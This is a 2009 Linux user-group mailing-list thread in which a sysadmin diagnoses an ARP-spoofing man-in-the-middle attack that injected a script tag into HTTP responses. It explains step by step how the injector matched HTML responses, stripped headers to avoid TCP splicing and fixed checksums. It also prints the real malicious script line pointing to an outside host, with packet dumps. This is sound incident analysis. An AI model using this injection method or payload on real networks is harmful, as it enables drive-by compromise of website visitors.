Jaco Kroon on Mon, 4 May 2009 23:02:37 +0200 (SAST)

[Date Prev] [Date Next] [Thread Prev] [Thread Next] [Date Index] [Thread Index]

[GLUG-tech] Re: possible http threat - or just some weirdness

Hi Andrew,

Andrew McGill wrote:
> Hi Jaco,
> Did the man in the middle use ARP spoofing or MAC address spoofing?  That 
> no-need-to-splice thing sounds rather like it could possibly have been a MAC 
> address exploit.  Was it spoofing the address (MAC or IP) of individual 
> servers, or of the gateway?

Two different "exploits" that got combined.  Firstly there was the issue
of fooling machines (servers) inside the DC to hand traffic to the Dell
machine (hereforth known as the attacker).  This was done by ARP
spoofing.  Basically what happens is this:

1.  My server send ARP request for GW IP.
2.  Cisco routers respond with HSRVP MAC whilst the attacker tries to
race this response with it's own ARP response giving it's own MAC as
owning the GW IP.
3.  Depending on the order in which the two "raced" ARP responses arive
my server either uses the attacking host or the correct GW.

So no, it was spoofing the ARP response, thus ARP spoofing.

If the attacker was successful then my server now hands all outbound
traffic to the attacking host, which then passes it on to the real
gateway.  Success on exploit one - it's now able to look at at least
some of the traffic going out of the DC.

Now, being able to look at traffic is one thing - actually doing
something with it is another.  Modifying it is an even bigger issue.
Generally when you start tampering with TCP connections you need to be
able to see both directions (sequence number adjustments, not breaking
RFC specs so as to remain undetected etc etc ... having done this myself
I can tell you getting it "right" is non-trivial).  This process is
called splicing.  You can also fully terminate the connection which is
actually simpler but consumes much larger quantities of memory.

An alternative to prevent those issues is to do everything in your power
to prevent adjusting the size of packets (which depending on the
protocol you're messing with is relatively easy as in this case, up to
very hard - eg, patching a new certificate chain into an SSL connection
- don't ask, to right near impossible), which negates the need for
sequence number adjustments which now means you only need to see traffic
in the direction that you want to modify it (permitting of course that
there isn't protocol layer implications).  In this case, the HTTP
response (which is purely request/response, and since the goal here is
to mess with the response there is no protocol level implications for
the opposite direction).

Since operating systems generally delay TCP transmissions for a fraction
of a second if it doesn't have a full segment (TCP_NODELAY switches off
this behavior on Linux) you generally end up with the HTTP Headers and
the start of the payload in a single packet.  So a regex on a packet
looking for "^HTTP/1\.1 .*\r\nContent-Type: text/html(\r\n.*)?\r\n\r\n"
will identify packets we can potentially "infect" with our <script>
payload (everything else just gets passed on).  Since many of the HTTP
headers are informative only we can rip then out (eg, Server: Apache
1.2.3, mod_php, mod_ssl) and pack the remaining headers, adjust the
Content-Length: header to increase the length of the payload (and right
here we possibly run into a problem since if we change the order size of
this header we may need to reduce by one again which MAY require
increasing it again - eg, if the adjusted Content-Length becomes 1000
then the header consumes an extra byte which means the content length
comes back down to 999 - I'm guessing you can just add an extra leading
space and most browsers and proxies will not know the difference.  After
pulling in the \r\n\r\n marker for the end of headers by say 45 bytes we
now have 45 bytes before the actual start of the HTML content.
Generally it's safe to add a bunch of spaces in front of html, even the
<!DOCTYPE header.  Now we get sneaky and we replace the first few spaces
with <script src=foo.ca/pen.gif></script> (37 bytes), recalculate the IP
checksum and pass the packet on.

Content gets to Internet Explorer and unless the user has a decent AV,
*boom*, box owned.  If it DOES pick up the attack, the original server
is blamed, and trust me - you try and convince an angry client that this
is not your fault and that there is not a problem on your server ...
it's not fun.  As Quintin will be able to attest.

Anyway, hope you found that a bit more informative.

> Ps.  What's wrong with your Linux machines that they didn't hack those?  

I'm guessing the Windows Server 2003 was a softer target?

> Pps.  One top post deserves another.

Pfft :p.  Whatever.


> On Sunday 03 May 2009 21:47:30 Jaco Kroon wrote:
>> Hi all,
>> Please pardon the top post.  Thanks for all the replies, the guilty
>> server has been located and removed from the world (for the moment at
>> least).  Both the intermittent gateway issue and the HTTP injection has
>> been the same one.  If anybody cares here is a shortish explanation:
>> It turns out that there was a server on the same subnet as our server(s)
>> pretending to be the gateway (A Windows 2003 server machine according to
>> the network engineer), it was basically redirecting all traffic to
>> itself and then passing it on to the real gateway.  It also injected
>> some garbage into HTTP responses, which it did very craftily by removing
>> some of the headers to make space for it's payload, which was then space
>> padded to fill up the exact space made available by the header removal.
>>  This negates the need to splice the TCP connection as he's only
>> modifying a single packet, leaving the sequence numbers perfectly in
>> place for packets after the modified one.
>> The gateway outages was presumably due to the fact that this single
>> server is a server, not a router, and just couldn't handle the sheer
>> amount of bandwidth coming out of the subnet.  IS may also find, now,
>> that their "shortage of network uplink bandwidth" has now magically
>> solved itself too, or at least, is not quite as bad as it was.
> If you spoof a MAC address, you have to hold off until the switch reconfigures 
> its address table when it receives traffic from the "true" holder of the MAC 
> address before resubmitting the intercepted traffic.
>> Jaco
>> Jaco Kroon wrote:
>>> Quintin van Rooyen wrote:
>>>> I don't know if this is related but I have trouble refreshing pages over
>>>> severral networks as well. I still see friday (May 1's) wikipedia image
>>>> of the day, and the same if I curl or wget. It seems true for a few
>>>> other pages as well. Maybe the transparent proxies are affected by some
>>>> internet weirdness?
>>>> I had to hard refresh the wikipedia page about seven times over
>>>> different networks before I could see today's image.
>>> View page source, check the top of the file.
>>> And no, I don't think it's related.  Our friendly router problem at IS
>>> (The one where their default gateway just goes away for some machines on
>>> a subnet) is back, so that could be related.
>>> There has been other complaints re SAIX transparent proxies recently
>>> that's more in line with what you're saying and I've personlly shown
>>> that their DNS caches are screwed (One of their caches that's being
>>> handed out via pppd is giving REFUSED for _any_ query, and the other is
>>> taking up to 15+ seconds to respond).  The DNS issues could be closer
>>> correlated with slow proxies (slow dns lookups => slow responses).
>>> Back to the page hacking issue, yes, I've tracked the code down to a
>>> file called 1.exe and whilst I haven't disassembled the 8K executable
>>> (I'm not feeling particularly inclined to do it), the javascript leading
>>> up to that executable contains exploits for the windows platform
>>> (references to cmd.exe, and elaborate ways of constructing strings such
>>> as "Microsoft" and the likes, obfuscated calls to things like buildPath,
>>> and really obscure ways of finding kernel32.dll - go figure).
>>> Digging further I eventually invoked tcpdump and on a request that
>>> resulted in this html being delivered to my browser (firefox):
>>> <script language=javascript src=http://phpl.ca/Img/pen.gif></script>
>>>                                      <!DOCTYPE HTML PUBLIC "-//W3C//DTD
>>> HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd";>
>>> <html>
>>> This is what left the server (partial packet):
>>> 10:49:07.359656 IP (tos 0x0, ttl 64, id 64912, offset 0, flags [DF],
>>> proto TCP (6), length 1492) linux.delter.co.za.http >
>>> dsl-146-184-247.telkomadsl.co.za.45946: ., cksum 0x6eff (incorrect (->
>>> 0xd83e), 9041:10481(1440) ack 1046 win 72 <nop,nop,timestamp 3420751623
>>> 881080311>
>>> 0x0000:  0011 43dc 1524 0011 43ce 1cdc 0800 4500  ..C..$..C.....E.
>>> 0x0010:  05d4 fd90 4000 4006 ce5a c423 468b a592  ....@.@..Z.#F...
>>> 0x0020:  b8f7 0050 b37a ed6d a4e1 fdde 2582 8010  ...P.z.m....%...
>>> 0x0030:  0048 6eff 0000 0101 080a cbe4 8707 3484  .Hn...........4.
>>> 0x0040:  37f7 4854 5450 2f31 2e31 2032 3030 204f  7.HTTP/1.1.200.O
>>> 0x0050:  4b0d 0a44 6174 653a 2053 756e 2c20 3033  K..Date:.Sun,.03
>>> 0x0060:  204d 6179 2032 3030 3920 3038 3a34 393a  .May.2009.08:49:
>>> 0x0070:  3037 2047 4d54 0d0a 5365 7276 6572 3a20  07.GMT..Server:.
>>> 0x0080:  4170 6163 6865 0d0a 436f 6e74 656e 742d  Apache..Content-
>>> 0x0090:  4c65 6e67 7468 3a20 3236 3937 0d0a 4b65  Length:.2697..Ke
>>> 0x00a0:  6570 2d41 6c69 7665 3a20 7469 6d65 6f75  ep-Alive:.timeou
>>> 0x00b0:  743d 3135 2c20 6d61 783d 3938 0d0a 436f  t=15,.max=98..Co
>>> 0x00c0:  6e6e 6563 7469 6f6e 3a20 4b65 6570 2d41  nnection:.Keep-A
>>> 0x00d0:  6c69 7665 0d0a 436f 6e74 656e 742d 5479  live..Content-Ty
>>> 0x00e0:  7065 3a20 7465 7874 2f68 746d 6c0d 0a0d  pe:.text/html...
>>> 0x00f0:  0a3c 2144 4f43 5459 5045 2048 544d 4c20  .<!DOCTYPE.HTML.
>>> 0x0100:  5055 424c 4943 2022 2d2f 2f57 3343 2f2f  PUBLIC."-//W3C//
>>> 0x0110:  4454 4420 4854 4d4c 2034 2e30 3120 5472  DTD.HTML.4.01.Tr
>>> 0x0120:  616e 7369 7469 6f6e 616c 2f2f 454e 2220  ansitional//EN".
>>> 0x0130:  2268 7474 703a 2f2f 7777 772e 7733 2e6f  "http://www.w3.o
>>> 0x0140:  7267 2f54 522f 6874 6d6c 342f 6c6f 6f73  rg/TR/html4/loos
>>> 0x0150:  652e 6474 6422 3e0a 3c68 746d 6c3e 0a3c  e.dtd">.<html>.<
>>> The last half of that of course the bit I care about, which when
>>> properly decoded comes down to this:
>>> HTTP/1.1 200 OK
>>> Date: Sun, 03 May 2009 08:49:07 GMT
>>> Server: Aapche
>>> Content-Length: 2698
>>> Keep-Alive: timeout=15, max=98
>>> Connection: Keep-Alive
>>> Content-Type text/html
>>> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
>>> "http://www.w3.org/TR/html4/loose.dtd";>
>>> <html>
>>> Which (to me at least) proves that it was definitely modified in
>>> transit.  The question that remains is where.  Taking a raw packet on
>>> the ppp link that goes out and dumping that (using wget this time):
>>> 0x0040:  3490 4d6d 4854 5450 2f31 2e31 2032 3030  4.MmHTTP/1.1.200
>>> 0x0050:  204f 4b0d 0a43 6f6e 7465 6e74 2d4c 656e  .OK..Content-Len
>>> 0x0060:  6774 683a 2032 3830 370d 0a43 6f6e 7465  gth:.2807..Conte
>>> 0x0070:  6e74 2d54 7970 653a 2074 6578 742f 6874  nt-Type:.text/ht
>>> 0x0080:  6d6c 0d0a 0d0a 3c73 6372 6970 7420 6c61  ml....<script.la
>>> 0x0090:  6e67 7561 6765 3d6a 6176 6173 6372 6970  nguage=javascrip
>>> 0x00a0:  7420 7372 633d 6874 7470 3a2f 2f70 6870  t.src=http://php
>>> 0x00b0:  6c2e 6361 2f49 6d67 2f70 656e 2e67 6966  l.ca/Img/pen.gif
>>> 0x00c0:  3e3c 2f73 6372 6970 743e 2020 2020 2020  ></script>......
>>> 0x00d0:  2020 2020 2020 2020 2020 2020 2020 2020  ................
>>> 0x00e0:  2020 2020 2020 2020 2020 2020 2020 2020  ................
>>> 0x00f0:  2020 2020 3c21 444f 4354 5950 4520 4854  ....<!DOCTYPE.HT
>>> These headers becomes:
>>> HTTP/1.1 200 OK
>>> Content-Length: 2807
>>> Content-Type: text/html
>>> Which means that there isn't any proxy headers which gives us a starting
>>> point of where to start looking, and as such we will most likely need to
>>> use some kind of http syn trace to find the location of the transparent
>>> proxy.  And I really don't feel like going through that kind of effort
>>> right now.
>>> Come to think of it - there is some correlation between the servers
>>> that's available via our gateway and those that aren't.  I can reproduce
>>> this "page hack" on the web pages that sporadically goes awol, but not
>>> on those that doesn't (In our particular little subnet).  I wonder
>>> whether those two are not perhaps related.  ARP spoofing anyone?  I
>>> suspect this issue is going to be handed off to IS... sorry for the IS
>>> guys on the list, but there is some work coming your way.
>>> Jaco

To unsubscribe: send the line "unsubscribe glug-tech" in the
subject of a mail to "glug-tech-request@xxxxxxxxxxxx".
Problems? Email "glug-tech-admins@xxxxxxxxxxxx". Archives are at
RULES: http://www.linux.org.za/glugrules.html